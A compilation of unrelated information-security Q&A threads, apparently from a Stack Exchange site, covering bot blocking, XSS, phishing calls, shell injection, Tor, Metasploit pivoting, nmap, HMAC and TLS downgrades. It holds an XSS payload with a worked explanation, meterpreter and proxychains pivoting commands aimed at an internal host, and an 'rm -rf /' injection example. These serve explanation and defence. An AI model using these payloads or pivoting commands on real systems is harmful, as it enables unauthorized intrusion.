My current plan is not especially elegant, but the idea is to just never respond to a request to any of the known get requests I'm receiving, not sending them a redirect to youtube:

const bannedGetRequests = ["latest/dynamic/instance-identity/document","wp-login.php" ...]; <-about 1,500 that I've got in my logs now.

bannedGetRequests.forEach(request => {
    app.get(request, function (req, res) {
        return; //I'm not calling res.end() here on purpose, I'm hoping this will leave their connection open awaiting a response I'm never going to send, if this slows them down even a few milliseconds, it seems worthwhile to me.
    });
});

Option 4.

Pay cloudflare. Their free tier does not seem to support bot suppression. Maybe it's not as big a deal as I think it is. I don't really want to go through what looks like a huge amount of work to setup some kind of support from Cloudflare only to find out it doesn't even address my concern. Furthermore, this is a web application, I don't really think that using a CDN is going to be especially helpful to me. I don't have very many users (aside from these bots I guess).

Is there anything I'm missing? Are any of these options objectively superior/inferior to others?

Additional information:
This is running on an AWS elastic beanstalk which puts an Nginx server (from AWS) in front of it that I'm not sure I have any control over.

There are likely many tools and custom scripts out there that accomplish what you are trying to do. However, I think fail2ban is a good example. It ships with profiles "apache-badbots", "apache-noscript", and others that that will follow your logs and temporarily ban anyone who is in violation of the rules, e.g. trying to access .php pages on a NodeJS server. These profiles can be modified to suit your configuration.

That said, this type of activity is very normal on the internet, and there is likely very little risk in leaving it be.


What is the danger of Reflected Cross Site Scripting? What is the danger of Reflected Cross Site Scripting?

I understand the Reflected XSS is dangerous, because it's possible. But what practical attacks can be performed using Reflected XSS?

You can do a lot when you can inject code into a page.  For example, you can

steal credentials in non-HTTPOnly cookies.
send requests to a server with the user's credentials.  Think XSRF
steal secrets that are stored in JS variables.
prompt the user to download content by submitting a form
display text that seems to come from the site owners.  Think phishing.
display a password input, log keystrokes, and send the result to a site of your choosing
redirect to another site
get GPS/camera data if the user has granted that site access to the device


Windows 10 master key folder empty I am currently trying to decrypt my files from my old laptop. I have a backup of the user folder of the old laptop and I am trying to find the old user master key to decrypt my files based on mimikatz wiki. However, when I look at the master key directory %appdata%\Microsoft\Protect\<old_user_sid>\, it is empty. Where does the master key actually stored in?

After looking through mimikatz GitHub issues, I found the same question asked. Apparently, Windows hide the master key (and other system) files.


CVV Credit Card Phishing Caller 18777348472 had my name & last 4 digits of my credit card and indicated he was from fraud prevention: someone tried to charge $600 through Amazon. He asked me to verify that I had the card in hand by providing him the CVV (3-digit number on back of card). If I have the card and it should be enough that I state this.  He gently threatened that the card would be suspended and I agreed that it was OK to cancel the card.

I refused to provide the CVV because if I do not know who is calling and I do not give out sensitive info. As I understand it, caller ID is easily faked with an App.

Red flags include asking 3 times for the CVV and trying to convince me that the phone number is proof of identity.

QUESTIONS

Does the CVV enable escalation privilege (change address / phone / email)
What are the 3 most common techniques for the phisherman to gain my
name, phone-number and 4 digits of my credit card?
Is it reasonable to assume that he has all 16 digits since he is
asking for the CVV (time to change the card number).
If caller found a receipt with my name, how difficult would it to acquire my phone number?

Caller 18777348472 had my name & last 4 digits of my credit card and indicated he was from fraud prevention

That looks like a legit number for State Farm Bank but, rather critically, phone numbers can be spoofed. The same goes for the sending number for SMS. The caller ID you see on screen is an arbitrary text field that can be overridden when a call is placed - this is very commonly used to provide a general call-back number instead of the direct phone number of the operative in a call center.

  I refused because if I do not know who is calling and I do not give out sensitive info.

Good. If the "bank" calls you, you should always ask for their name and a reference number if they have one, then tell them you will call the bank back on their advertised phone number. Banks will always be fine with you doing this; most scammers will get upset or annoyed at you and try to persuade you not to hang up. Never give any kind of sensitive information to someone who called you, no matter what their provided reason is. You call them, they don't call you.

As far as I'm aware your bank shouldn't usually ask for your CVV for verification. Check emails from your bank as they usually have boilerplate security advice (e.g. "we will never call you directly" or "we will never ask for card details") that can quickly indicate that the call was bogus.

In fact your first action should be to call your bank's fraud department, via their advertised number, and ask if they just tried to contact you. You should then ask them to read back your recent transactions to make sure if there was any unusual activity.

  Does the CVV enable escalation privilege (change address / phone / email)

Assuming the scammer has your full CC number and personal details except the CVV from a compromised website, providing the CVV would enable them to make purchases online. The CVV isn't much use aside from that.

  What are the 3 most common techniques for the phisherman to gain my name, phone-number and 4 digits of my credit card?

This is subjective and open to opinion, but in my experience:

A website that you provided your card details and personal information to was compromised.
You were infected with malware and it stole your details when you entered them into a site.
You unwittingly clicked a phishing link and provided your login details (e.g. for your bank, a retail site, your work's HR system, etc.) to an attacker, and they used that to get your details.

The first one is by far the most common from what I've seen. Another potential is that you had your card's magstrip skimmed at an ATM or at a restaurant, cafe, store, etc. and they got your card number and name from that but not the CVV (it's not usually encoded in the magstrip afaik), and they used OSINT to find your number to ask you for the CVV.

  Is it reasonable to assume that he has all 16 digits since he is asking for the CVV (time to change the card number).

Yes.

  If caller found a receipt with my name, how difficult would it to acquire my phone number?

Depends. This is all down to OSINT really. If you've listed your number on Facebook, for example, they might have found it there, particularly if you've got your privacy settings configured to allow friends of friends to see it. They could've gone the old fashioned way looked you up in the phone directory. They might have found your card details and email address on one compromised site, and your email address and personal details on another compromised site. There are any number of ways.


Why did "terminal commands" never get a version of SQL "parameterized queries"? I was taught horrible bad practice when I initially "learned" SQL, which baked in user-submitted input with quotes and attempted to "escape" this (in the beginning, I didn't even escape it at all...). I then had to spend many years unlearning this, to instead do things like:
SELECT * FROM table WHERE id = $1;

And then the $1's data is sent separately to the database, not part of the actual query string, to make it impossible for "SQL injections" to happen.
However, terminal commands frequently need to be sent untrusted user input, such as:
generate_PDF.exe --template="a path goes here" --title-of-report="arbitrary title from user"

Every time I have to run such a command, I'm scared to death that my "terminal argument escape" function isn't working correctly, or has some unknown bug, so that users can make a title along the lines of "; rm -rf /; to execute arbitrary code on my machine.
This becomes even more of a serious issue when the normal "OS quotes" cannot be used, such as:
pg_dump --format custom --file "a real path" --exclude-table="schema name"."table name"

The "schema name"."table name" part has to be provided in full from the user, and thus I have to attempt to verify the syntax myself, as it cannot just be quoted in its entirety with the "terminal argument escaper" function wrapping it all. (Even if it might be possible in this specific context, I'm talking in general and just using this as an example of when it gets "hairy".)
This has made me wonder why the terminal commands, for example in PHP (since I use this myself for everything) cannot be done like this:
pg_dump --format custom --file $1 --exclude-table=$2

And then we send the actual arguments separately as an array of strings, just like with the "parameterized queries" in SQL databases?
Please note that the $1 and $2 here do not refer to PHP variables, but to "placeholders" for the "engine" which interprets this and which lives either in PHP or the OS.
Why is this not a thing? Or maybe it is, only I haven't heard of it? I'm continuously baffled by how many things which I constantly need and use just "sit there and rot" while they keep releasing a new programming language every week which nobody uses. I feel more and more frustrated about how "stale" everything I care about seems, but this risks getting off-topic, so I'll stick to the question I've just asked for now.

Or maybe it is, only I haven't heard of it?

Many languages provide a way to give command and arguments as separate parameters and thus avoid any interpretation done by the shell. This addresses the same problem as separating SQL commands and parameters with parameter binding. For example in Perl:
system("pg_dump", "--format custom", "--file", $1, "--exclude-table", $2)

Similar functionality is provided by the various exec functions in libc where also command and arguments are strictly separated. Or subprocess in Python, os.exec.Command in Golang, system in Ruby etc. I did not find similar functionality in PHP though, i.e. it seems to insist on using a single command string interpreted by the shell with all the problems this causes.


How does a person under surveillance safely download tor or tails in a hostile environment? One of tor's stated goals is to help individuals such as journalists, activists and whistleblowers protect against surveillance, and in many countries people in those lines of work or activities are usually subject to surveillance, especially targeted surveillance.
Given a scenario in which a journalist working in an environment where he is subject to active targeted surveillance, how would he safely download tor? Assume that the journalist in question is using a new computer with a freshly installed Linux distribution. In what ways could an adversary with man-in-the-middle capabilities affect or compromise the download?
Does using https to download TAILS or the distribution package manager to download tor provide enough security to protect from malicious third-parties?
How can someone in this scenario safely download tor or TAILS?

If the problem is that severe, you don't download directly. You call up a trusted 3rd party (a friend who would not be under scrutiny) to create a LiveCD and then have them mail it to you.
A sufficiently equipped government can successfully use a root certificate in your machine and substitute the download.


Why modern php web application requires to specify the application's url? Pieces of web applications such as WordPress or moodle require to specify the URL that the user will provide in order to visit the site. For example, in moodle has the $CFG->wwwroot config parameter that takes the value of the website's/webapp's URL.

So I was wondering what benefit this approach offers into the web app's security. Also, I am developing a web application, so I was thinking what I achieve by adopting this mechanism into my web app instead of just not do any check at all.

speaking specifically for moodle, it's used to allow changing the path dynamically based on config. This lets you host a site at, ex domain.com/moodleroot instead of just domain.com, allowing one server to host many copies of moodle. If you don't need that capability, it's not worth the hassle of re-interpreting relative URLs. It also allows isolating parts to use a different root/server, for testing purposes w/o bringing down a live system; the path can be altered/interpreted for just the one user running tests.

I don't see any big security implication one way or the other though, it's more of a deployment matter.


Why can 'Others' read files by default in Ubuntu? I am trying to figure out why when creating new files and directories in, let's say, the Documents folder, they get assigned, by default, the following permissions:

-rw-rw-r-- 1 hello world    0 Nov 19 12:17 'New Empty File'
drwxrwxr-x 2 hello world 4.0K Nov 19 12:16 'New Folder'/

Shouldn't 'Others' have no access to my files? From what I've read, Ubuntu is by default pretty secure. However, nowhere could I find a rationalization for this behavior. Would appreciate an answer :)

The permissions model of Linux means that, even if you are the only user of your computer, you're not the only user on the system. Many services will create their own user account to run under - for example, Apache will usually run under its own dedicated account.

What you will also notice is that your home folder is usually only accessible to your own account - i.e. permissions 700 or drwx------. That means that only you can get at your home folder, even if subfolders within that folder have full access.

This combination provides a useful balance. The default permissions allow service accounts to read any files on the system that they might need to, but they can't change anything. Any files which are personal to you should be in your home folder, so a rogue service won't be able to access them.

You might find the Filesystem Hierarchy Standard a useful read. This outlines the generally expected permissions and functions for Unix/Linux systems, and most distributions will abide by this.


Given SSH access, what should I do to protect a server and monitor (dangerous) user actions? Context:

Small business, mostly a software house for web applications but also some desktop software.
Many external collaborators, so a variety of outside users with access to the servers.
Single physical server, with Linux and Xen as a virtualization solution - each VM has specific uses and controlled access. External users can access two of them
The (virtual) servers provide a variety of services: LAMP stack, email, DNS, etc. This question pertains to my concerns with local user access
Users can SSH into two of the VMs

Requirements

Give users access to common development tools, both for web (PHP, Ruby on Rails, etc) and standalone applications (gcc, g++, etc); this includes not only compilers and the like but also editors. Right now, they have full shell access.
Users must be able to use source control on the server: svn and git
Some have access to MySQL databases

Question

What steps should I take in order to:

Provide a full shell to the users if possible, or equivalent solution that meets the requirements above in a safe manner
Automate monitoring of dangerous activities where possible (as in sudo/su notifications)
Minimize effects if a user gets his hands on a 0day privilege escalation exploit before someone patches it on the server - is this even possible?

If users must have SSH to your server, a useful tool to protect your server root is chroot - this will let you give them the apparent functionality of server root, without actually giving them the crown jewels.

Alternatively, as you use virtual machines anyway, why not provide them with virtual server instances?

Both of these will allow you to run monitoring tools (such as tripwire) in order to check for changes to files. Logging should be done outside the users' environment.

With entries in /etc/sudoers you can limit what activities users are allowed to carry out under su.


What is the proper way to escape bad data from link in javascript against xss What is the right way to escape bad data the var "$actuallinkk" inside this java script

Invite Consultant to this conversation

this is what i did below, i don't know if is the right thing to tackle xss attack.

function noHTML($input, $encoding = 'UTF-8')
{
    return htmlentities($input, ENT_QUOTES | ENT_HTML5, $encoding);
}

$actuallinkk = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

 echo'

';
echo'

Invite Consultant to this conversation

';

if($_GET["act"]=='inviteadmin'){}

No, this is not the correct approach, and you are currently vulnerable to XSS via this payload:

http://example.com/yourscript.php/');alert('1

Attack

As seen above, an attack would be setting $actuallinkk to:

1');alert('1

Which results in:

<a href="javascript:reportUser('1&apos;&rpar;&semi;alert&lpar;&apos;1&act=inviteadmin')">

Now, this looks save enough, but it isn't. As the input is inside a HTML attribute context, the HTML parser will look at it and dereference the entities. It will then pass the result on to the JavaScript interpreter, at which point the code looks like this:

reportUser('123');alert('1&act=inviteadmin')

This will be executed, including the injected payload.

Defense

The above example shows why it is important to take the context into account when defending against XSS.

Inside a JavaScript context, you do not want to HTML encode, but instead escape all special characters with their hex values (see OWASP).


Enterprise message bus encryption I'm contemplating using Amazon's Simple Queue System as the basis of an enterprise message bus.  According to Amazon, the contents are not encrypted, which means the application(s) will have to handle encryption / decryption.

It seems likely that this cryptosystem will need:

key distribution among services that access the message bus
key rotation / revocation
authentication and integrity checks
performance (use symmetric encryption)

This seems like an extremely common problem, is there an existing methodology or standard around message bus encryption for these situations?

For posterity and folks who end up here from search engines:
Amazon SQS now supports content encryption: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-server-side-encryption.html#sqs-encryption-what-does-sse-encrypt
From the documentation:

SSE doesn't encrypt the following:
Queue metadata (queue name and attributes)
Message metadata (message ID, timestamp, and attributes)
Per-queue metrics

SQS server-side encryption is backed by Amazon's KMS by default, which are themselves backed by FIPS 140-2 HSMs. Data keys are derived from an account master key on a per-principal basis.  Lifetime of these keys is configurable from 1 minute to 24 hours with a default of 5 minutes.
If key residency is not an issue, SSE should solve your problem.


Faked XSS in Search Bar I was poking around one of Google's lesser known programs, Build with Chrome, when I noticed something pretty funny with their search bar.  When you type in the standard XSS payload <script>alert(1);</script>, the notification pops up as if the site were vulnerable to XSS.  But here is the funny thing.  If you change it at all, (like to <script>alert(2);</script>), then nothing happens.

After puzzling over this, the only thing I can come up with is that some snickering developer at Google thought it would be funny to send a bunch of people down a bunny trail, and inserted an if statement in the search that said if somebody searched for <script>alert(1);</script>, it would display a notification with '1'.  Is this a wise security practice?

It seems to me that there are two sides to this.  One the one hand, if attackers are so focused on a fake vulnerability, they will be less likely to find the real ones.  But on the other hand, I bet Google has gotten over a thousand reports for the bug bounty program just on this one vulnerability.  This makes it harder to glean out the good reports.

So here is my question: is it a good security practice to use sneaky little fake vulnerabilities to protect yourself, or is it more work than it saves?

In a way, this is pretty similar (in 'effect' and in intention) to running a honeypot: you gain advance notice of who might be poking around, and to some extent, gain some insight into their capabilities (obviously, in this case, you don't learn all that much).

It may also allow profiling attackers to some degree: unsophisticated actors would either move on(because their scanning script checks for a bunch of things before spitting out a report), or if a human was at the keyboard, maybe do what you did, and test out a few things (in which case, you can indeed bet your testing would have caused your activities to be 'looked' at a bit more closely).

Sophisticated actors might have a script that followed up on such a result, which might expose the details of their script (or thinking).

So I would assume it isn't "just" a dev having some fun - there is almost certainly some kind of purpose to this (it may be that purpose was defined post-fact, but still).

And yes - considered as a honeypot of sorts, I would tend to think this is worth it on balance - I am sure it is reasonably easy to create filters for any reports this might generate.


Is it PCI-compliant/kosher to send a credit card number to a 3rd party sever from a mobile client? I am building a mobile app, and part of the the functionality of the app is to place an order with a 3rd party. The 3rd party server accepts a credit card number string. Can I build a mobile client to interact with that server? Will I be violating PCI compliance?

You need to ensure the point  to point connection between your app is compliant with pci dss (ie strong encryption  etc.)and additionally you will need an attestation of compliance from the third party. They should have this if they are pci dss compliant.


What's the security impact of tampering with Google OAuth continue parameter? What's the security issue of this scenario related to tampering with the continue parameter:

Go to: https://accounts.google.com/ServiceLogin?service=[service name]&passive=true&continue=https://[service].google.com/?continue=https://efbrcko.com/&ltmpl=ae
When I sign in, I get redirected to efbrcko.ba/?state=[long random char text]

What is the state value used for? Could this be considered a vulnerability, e.g. token hijacking or something similar?

If you use the basic HTML web version of Gmail and have look at the hyperlinks inside the mail, you'll find your answer.

The issue happens because there are many open redirects for Google, since they don't consider this a security vulnerability.


Why do we need HTTPS for static content? If we can have a checksum at the end signed by the private key, won't that prove the validity? This method which I am talking about can improve caching of images, videos, and CSS by the ISP rather than just depending on the browser cache. And it also proves the validity of the sender. Is there any reason why this semi-HTTPs not considered?

Cost of assymetric signing is one thing I can think of. But if we group chunks of static content and calculate sha256 checksum in batches, validating the signature in the browser can be a better trade off than the end-to-end network cost for each request not in the browser cache.

Why do we need HTTPS for static content? If we can have a checksum at the end signed by the private key, won't that prove the validity?

I think you're setting up a strawman with that question. We don't in fact need HTTPS for static content, and the purpose of HTTPS isn't just to prove the validity of the content. That's just one of several purposes.
The move to switch a huge number of sites to HTTPS (even those serving harmless static content, such as wikipedia) in the last couple of years didn't primarily happen because people were worried about getting the wrong content; it's because people were worried about three-letter-agencies spying on users; e.g. the large-scale move to HTTPS happened primarily for privacy reasons (see for example RFC 7258, Pervasive Monitoring is an Attack.)
Your idea of using a signed checksum is already in production all over the internet: Software which you download is often verified like that. Package managers / update systems of most operating systems do this, and individual software projects do it on a smaller scale by publishing pgp / gpg signatures along with their software downloads.
This all works irrespective of whether these downloads are delivered via https or not, although https is often used in addition.
You're suggesting to add a third protocol besides http and https, maybe one called httpv for "verified", that builds content verification into the protocol but leaves out the rest of ssl.
I agree there would be an advantage to serving some static content in the clear so it can be cached. But this is not an option if you're worried about privacy issues in light of the intelligence community's programs to spy on all our communication.

Any particular reason why this semi HTTPs not considered?

So I'd assume that your third protocol can't gather much steam because

there already are solutions which work in place when we really need to verify content, and

with so much of the internet now becoming encrypted to guard our privacy, it seems like there wouldn't be much use for another protocol that didn't protect against spying.


How to understand a single packet embedded with multiple requests? When I read Multi VERB Single Request:

This Attack is also a variation of the Excessive Verb Attack
strategy. The attacking BOT creates multiple HTTP requests, not by issuing them one after
another during a single HTTP session, but by forming a single packet embedded with multiple
requests.

How to understand the a single packet embedded with multiple requests?
is it mean one HTTP request packet have multiple HTTP requests?

.. is it mean one HTTP request packet have multiple HTTP requests?

There is no such thing as a "HTTP request packet". This is about a  single TCP packet containing a payload and this payload consisting of multiple HTTP requests. Usually HTTP is working by sending a request and waiting for the response but with HTTP pipelining it is also possible to send multiple requests at once (no matter if within a single TCP packet or using multiple TCP packets) and then reading all the responses.


Help understanding pivoting and port forwading I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website hosted on 10.10.10.10 I am able to gain access to the webpage using meterpreter by doing:

meterpreter> run autoroute -s 10.10.10.0/24
meterpreter> run portfwd add -l 8080 -p 80 -r 192.168.0.11

and then localhost:8080 in a web browser. From here I can use meterpreters TCP scanners to see there are other machines on the 10 network.

My question is, how can I then attempt to gain access to another machine, say brute force `10.10.10.11' ssh port?

Also in an effort to gain a better understanding of what metesploit is doing, how could I also achieve this setup with proxychains? and would this allow me to use the kali tools on my host: 192.168.0.10 directly on the target network 10 network?

Thanks

You can use a meterpreter payload to route into another network, but this is not a traditional route, as it will only forward TCP connections. As per the doc I think you were following.

  My question is, how can I then attempt to gain access to another machine, say brute force `10.10.10.11' ssh port?

Within metasploit, it should use its internal routing information and you can aim SSH related tools to 10.10.10.11:22 and it should work via the pivoting payload.

  Also in an effort to gain a better understanding of what metesploit is doing, how could I also achieve this setup with proxychains? and would this allow me to use the kali tools on my host: 192.168.0.10 directly on the target network 10 network?

You need to run an auxiliary socks proxy from within metasploit (considering you're using the same exploitation and pivoting method) using something like auxiliary/server/socks4a, to which you aim proxychains at and use it with cmdline tools. Ultimately you could run from your command line something like this:
proxychains nmap -sT -F 10.10.10.22.

Here's some resources for you to study and experiment:

https://www.tutorialspoint.com/metasploit/metasploit_pivoting.htm [pretty sure you know this one]
https://www.offensive-security.com/metasploit-unleashed/proxytunnels/
https://nullsweep.com/pivot-cheatsheet-for-pentesters/
http://proxychains.sourceforge.net/


EFS certificate expired and Root CA offline If an EFS certificate is expiring and attempting to renew itself AND the
issuing subordinate which issued that certificate is down, offline, or has
it's subordinate certificate expired, will the EFS certificate renew from a
different issuing subordinate server that has the same published template?

If so, is it possible for the user to decrypt his/her old files with the new certificate?

Unfortunately I don't know the answer to the first half of your question.  I believe the answer is that the client will enroll with a different CA for a new EFS cert, but I'm not certain if it will use the same key pair for that renewal or generate a new key pair.

Regardless of specifics, the client won't discard the old EFS certificate and key when it receives a new one.  They will stay in the local key store and still be accessible when the user attempts to access any previously encrypted files.  I believe any time an encrypted file is accessed that EFS will update the associated file encryption key (FEK) entry with the new cert and/or private key.  This is something you could test by setting up this scenario and seeing what cert thumbprints are associated with the file before and after.


Reusing HMAC state for multiple messages I have a secret key k and message m. I send m || HMAC(m, k) to some other party, who can verify the integrity of m, assuming that they know k.

Suppose I have multiple messages m1, m2, and so on. Which of the following two constructions is better from an overall security perspective:

m1 || HMAC(m1, k) || m2 || HMAC(m1 || m2, k) || ...

or

m1 || HMAC(m1, k) || m2 || HMAC(m2, k) || ...

Obviously, I will not need to actually concatenate m1 || m2 to generate HMAC(m1 || m2, k). I simply continue using the state of the HMAC as more and more messages are signed. So the first mode of operation is actually more efficient and what I would prefer to use. In the second case, I have to reset HMAC state prior to the next message.

As far as the receiver is concerned, the first time message authentication fails, that's the end of the conversation. So I don't gain anything by having a valid HMAC for m2 if m1 could not be authenticated.

Is one of the constructions inherently more secure than the other? Could the first mode of operation leak any information about the key (theoretically)?

It really depends on what security feature you want to achieve. Each pair "m,HMAC(k, m)" provides integrity in the following sense: the adversary will not be able to forge a pair declared valid by the receiver, that the sender did not compute in the first place.

You may want additional properties, though. For instance, you have a sequence of messages, and you want to prevent the adversary from altering it, i.e. dropping messages altogether, or inserting duplicates of old ones, or reordering them. This is a valid concern, and it is usually addressed with a sequence number. That is, each message is sent as "m,HMAC(k, s || m)" where s is a fixed-sized sequence number (e.g. encoded over 64 bits), starting at 0 for the first message, and then incremented at each message (with a 64-bit sequence number, you have quite some room -- it won't cycle back to 0 until "a long time"). That's how it is done in SSL, for instance (each SSL "record" has its own MAC and the MAC computation includes the sequence number). Note that the sequence number is implicit: it is used in the MAC computation, but needs not be transmitted over the wire, so it does not increase the size of what has to be transmitted.

Other constructions are possible, such as using the previous HMAC value (you send "m,HMAC(k, z || m)" where z is the HMAC output sent with the previous message). Your proposal also works, but only because the MAC is really HMAC, which is robust and which allows to grab its internal state relatively easily (although some implementations might not make it easy). Indeed, many MAC algorithms require a non-repeating IV and would not achieve proper security with your method. This is why I recommend that you use sequence numbers, since this is a standard, well-studied method which has the added benefit of being more easily applied to other MAC algorithms (and algorithm agility is a nice feature to have).

(The ability of HMAC to operate in an IV-less fashion is the feature which makes it the best generic MAC algorithm. If you have an IV nonetheless, because your messages are not only MACed but also encrypted, then authenticated encryption algorithms are preferred.)


What is the ideal HMAC message format if message is an array? I'm using HMAC exactly as intended to verify the integrity of a message. However, the message is really an associative array (or a hash).

Since this will be done on various platforms (within and outside our control), we need a standard way to convert the array to a string.

I've seen pipes being used as separators in many places. This vulnerability in AWS is the kind of thing I wanna avoid.

Say, my message is {a:1,b:2}, would converting it to a1b2 be fine?

Or should I go for something like 1|2 (Then the key order becomes important).

Another solution would have been JSON conversion, but JSON doesn't guarantee key order, so it may give different results in different libraries.

Various ideas we are discussing:

data = {:c=>3,:a=>1,:b=>2}
data.sort.join
"a1b2c3"
data.values.sort.join
"123"
data.sort.join('|')
"a|1|b|2|c|3"

I'm inclined towards the first or the third choice, but are there any ways I can judge my approach?

You could encode like this:

x1key1y1data1x2key2y2data2

Where x1 is the lenght of the key, and y1 is the lenght of the data.

This way you ensure that the keys are in the same order, and you can put any binary data on it. Just define a limit for the key and data lenght, and use padding to make sure x and y uses the same lenght:

004key1005test1002k1025long random binaŕy śtring

You don't need to care about separators, json or anything. And you can decode the string with a PHP snippet like this:

$data = "004key1005test1002k1025long random binary string";
$len = 3; // up to 999 bytes of data
$start=0;

while ($start < strlen($data) - $len) {
        $stringSize=intval(substr($data, $start, $len));
        echo "String size: $stringSize\n";
        $stringData = substr($data, $start + $len, $stringSize);
        echo "String data: $stringData \n";
        $start += $len + $stringSize;
}

The execution will show this:

String size: 4
String data: key1
String size: 5
String data: test1
String size: 2
String data: k1
String size: 25
String data: long random binary string


Email rejected by the server Emails from site such as Gmail and Yahoo are rejected from secureserver.net  server and treated as a spam.

Can you help me?

Spam filters are local in nature; if you want to know why a specific server classifies some emails as "spam" then you must ask the server administrators for details. Only them may answer.

Rejecting all emails from Gmail is kind of extreme, so my guess is that this secureserver.net does not classify as spam the "emails from Gmail", but "your emails from Gmail".

(In the same way that Hotmail classifies my emails as spams, because my name contains a "forbidden word".)


NMAP Commands Used in Option -A I've found that using the command nmap -A gives me the most reliable results and according to the reference guide the option -A includes service detection, traceroute, and OS detection. I want to do an nmap scan that only includes the service/port scanning used in the option -A but I'm not quite sure what type of service/port scan is used in option -A. I read somewhere that it was a script scan, but a basic script scan did not give the same results. Does anyone know what the exact commands are when option -A is used in nmap?

According to nmap man page:

-A: Enables OS detection and Version detection, Script scanning and Traceroute.
-sV: Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.

It's the same as -O -sV -sC --traceroute.


How to stop brute force attack that is DDoSing our server? We have a web application and that's been frequently hit with random username and password to find a successful login attempt. We introduced CAPTCHA, random token generation but that didn't stop the hacker hitting our web server. Our web server CPU reaches 99% usage level and it slows down the website for genuine users.

We need to know whether there are any ways to stop hitting the web server(maybe on the client side itself). I don't know whether it's possible. Can someone tell how to handle this?

Additional info - hacker hits our site from 1000 diff IPs, we blocked all those but he is coming with new set of IPs every time. Also, he has million+ username and passwords stolen from some website and he is using those on our site.

What you have is not so much a brute force problem but a load problem. Specifically, you have to think about it as a DDoS scenario. Multiple IPs hitting your server and consuming resources.

Account-level protections are not going to do anything, you need to handle the attack at the traffic level.

DDoS mitigation services are exactly what you need, but depending on the attack complexity, they might be too expensive. You could try working with your hosting company or ISP to see what they might be able to do.


At what criteria should an unpatched machine be considered hacked? Since every machine connected to the Internet requires security patches, there is a window of time in which those updates have been released and those machines haven't yet been patched.

It is common practice to assume if you do the patch "quick enough" you're safe, however the longer this window is (2 months, 6 months, 1 year) the assumption may become "it's probably already been hacked".

This is a very subjective evaluation of a server's security that I'd like to put into a structure of some type.

Question

Assuming nothing out of the ordinary is occurring with the server, at what point should the server be considered compromised?  (e.g. an IIS patch that went unpatched for N days)

How many should N be?

What other things should be considered?

"Average length of time that an announced vulnerability has widespread exploitation", T

"Attractiveness of server as a target", A, on a qualitative scale of 1-5 (higher number representing more attractiveness).

"Ease of exploitation", E, using the CVE score as a basis of common comparison

(T/A) x E = N

Considering that T is now considered to be measured in days (page 1-2), N can be very short, indeed.

That is why mitigation techniques are important, where AV and IDS vendors are faster at implementing detection for announced exploits than Operators are at patching them.

EDIT:

I thought I was employing a variation on standard InfoSec Risk Formulas, and so I thought I would propose the above as a springboard for discussion. But, I am also happy to dig through my material to provide references to where the above framework comes from and my justifications for modifying them.

First: Dillard, K., Pfost J., The Security Risk  Management Guide, Microsoft Press, 2004

Second: Munteanu, A., Information Security Risk Assessment: The Qualitative Versus Quantitative Dilemma, Managing Information in the Digital Economy: Issues & Solutions 227

Dillard proposes the following formula to calculate the Threat Frequency Level:
TFL = TP × (C / E)

Where:
TP = Threat Probability
C = Criticality of attack
E = Effort to exploit

Munteanu criticizes Dillard’s approach, saying that it does not include a time element, specifically the "average time period for releasing technical procedures to reduce or accept threat”, which Munteanu calls one of the variables of Exposure Time. Exposure Time seems directly relevant to the OP’s question regarding “time to patch”. As TFL is a qualitative factor, and time is a quantitative factor that needs to be a direct relationship, a multiplicative approach seemed appropriate.

So, using a combination of Dillard’s original formula and Munteanu’s proposed modification to calculate a Threat Frequency Level based on historical time to patch, we arrive at:

TFLp = TP x (C / E) x ET

By taking the same model, and instead calculating the TFL based on patching (based on historic data on the time to patch), but instead to replace the time variable with the average time for widespread exploitation (WE), we can calculate the TFL for exploitation:

TFLe = TP x (C / E) x WE

How then does this apply to my hastily written original formula? First, we can equate my “Attractiveness” scale to Dillard’s “Threat Probability”. Probability is measured as a ratio (a number from 0 - 1). To properly represent the relationship if we changed TP to a scale from 1-5, we would have to change it from direct to inverse, so:

TFLe = (C / E) x WE / A

Second, Dillard’s “Effort” (E) is inverse to my “Ease” (E), so that relationship, too needs to change:

TFLe = C x E x (WE / A)

Accepting that Dillard’s WE is synonymous with my T, and that “Criticality” is not a concern of the OP:

TFLe = E x (T / A)

Which looks suspiciously like my original formula...

Is my original formula mathematically exactly similar to the Dillard/Munteanu formulas? No, of course not. But I think mine serves as a useful simplification of the general concepts.


Is this code safe for search box or no? $output = '';
if(isset($_POST["query"]))
{
  $output = '';
  $search = "%{$_POST['query']}%";

 $stmt = $con->prepare(" SELECT * FROM tables WHERE cat_name LIKE ?
 LIMIT 3");

 $stmt->bind_param("s",$search);
 $stmt->execute();
 $result = $stmt->get_result();
 while($row = mysqli_fetch_array($result))
{
$output .= '
'.$row['cat_name'].'';
 }
echo $output;

From a SQL injection side, you should be safe since you are prepared statement.

Please see the accepted answer here.

From the accepted answer:

  The main principle there is using prepared statement which is designed
  for sending safe query to db server, this can be done by escaping user
  input which is not part of the real query, and also checking the query
  without any (where clause) to check the validity of the query before
  using any parameters.

The query is limited to three results and is on a single value (cat_name) which will reduces the possibility of a DOS style attack. As an example:

If the query could be forced to take a very long time to execute, a remote attacker could potentially use a lot of database connections and force excessive load on your database.


How can an attacker downgrade/modify the cipher suites when they are MACed? (Freak, Logjam use downgrade attacks) In the Finished handshake of TLS all previous messages exchanged are sent from the client to the server (and reverse) and protected by a MAC. This is what also "prevents" TLS_FALLBACK_SCSV from being modified/deleted by an attacker.

But attacks as Freak and Logjam use downgrade attacks.
E.g. as explained in a Cloudflare blog:

  A MitM attacker intercepts a client connection and replaces all the accepted ciphersuites with only the DHE_EXPORT ones

So when the integrity and authenticity of the Client hello (and other messages, but this may be the most important here) is protected, how can it be modified in attacks like Freak and Logjam where Export cipher suites are forced?

After reading some docs I finally can answer my own question.

Basically I had a misunderstanding.
It is important to know the "TLS Record Protocol". This protcol is the base of TLS and is always used. At the beginning for the Handshake and at the end when the Handshake finished and the data is transmitted over TLS (when using HTTPS this is HTTP).

(taken from the German Wikipedia article on TLS; CC-BY-SA 3.0)

However at the beginning there is obviously no encryption or HMAC the client and server can use to secure the exchanged messages as they have not agreed on using a cipher yet (this is done in the Handshake).
So they have to use a cipher without any encryption and integrity protection. This is TLS_NULL_WITH_NULL_NULL.
After the record layer is initialized with this cipher, which basically offers no protection, the handshake can begin.

So the hello messages of client and server are therefore unprotected and an attacker can tamper with them.
